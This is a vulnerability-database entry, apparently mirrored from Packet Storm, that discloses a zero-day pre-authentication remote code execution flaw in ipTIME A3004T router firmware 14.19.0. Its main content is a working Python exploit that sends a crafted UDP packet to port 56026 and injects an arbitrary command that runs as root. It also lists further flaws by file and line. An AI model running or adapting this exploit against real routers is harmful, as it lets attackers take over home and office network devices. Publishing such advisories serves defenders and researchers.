Lucene search
+L

ipTIME A3004T Remote Code Execution

🗓️ 20 Aug 2026 00:00:00Reported by PaccaronType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 9 Views

EAD service on UDP port 56026 passes unsanitized input to system(), enabling pre-auth RCE as root in ipTIME A3004T firmware 14.19.0.

Code
# Exploit Title: ipTIME A3004T  - Remote Code Execution
    # Date: 2026-06-29
    # Exploit Author: Paccaron
    # Vendor Homepage: https://www.iptime.com
    # Software Link: https://www.iptime.com/iptime/?page_id=147&pid=34
    # Version: 14.19.0
    # Tested on: ipTIME A3004T (Physical Device, OpenWRT based, MediaTek MT7621)
    # CVE: N/A (Zero-Day)
    
    Description:
    The EAD Service in ipTIME A3004T firmware 14.19.0 binds to UDP port 56026
    and does not filter source IP addresses. A remote attacker can send a
    crafted EAD_TYPE_SEND_CMD packet to execute arbitrary commands on the
    device with root privileges. The vulnerability exists in the handle_send_cmd()
    function where user-controlled data is passed directly to system() without
    any input sanitization.
    
    Vulnerable File: /package/network/services/ead/src/ead.c
    Vulnerable Functions: handle_send_cmd() (lines 473-580)
    Vulnerable Lines: 512, 533
    
    Attack Vectors:
    1. Pre-auth RCE (Command Injection) - Lines 512, 533
    2. Buffer Overflow - ead-client.c:245 (strcpy)
    3. Format String - ead.c:952
    4. Path Traversal - tinysrp/t_misc.c:143
    5. Denial of Service - ead.c:716 (while loop)
    
    import socket
    import sys
    
    def exploit(target_ip, command):
        """
        ipTIME A3004T EAD Service Pre-auth RCE
        Exploit by Paccaron
        Tested on firmware 14.19.0
        """
        
        port = 56026
        
        # EAD_TYPE_SEND_CMD = 0x0a (10)
        # Minimal packet structure
        payload = b"\x00\x00\x00\x0a"  # EAD_TYPE_SEND_CMD
        payload += b"\x00" * 60        # Padding
        payload += b";" + command.encode() + b"\x00"  # Command injection
        
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        
        try:
            sock.sendto(payload, (target_ip, port))
            print(f"[+] Command sent to {target_ip}:{port}")
            print(f"[+] Command: {command}")
            sock.close()
            return True
        except Exception as e:
            print(f"[-] Failed: {e}")
            return False
    
    if __name__ == "__main__":
        if len(sys.argv) != 3:
            print("Usage: python exploit.py <TARGET_IP> <COMMAND>")
            print("Example: python exploit.py 192.168.1.1 id")
            sys.exit(1)
        
        target = sys.argv[1]
        cmd = sys.argv[2]
        exploit(target, cmd)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Aug 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
9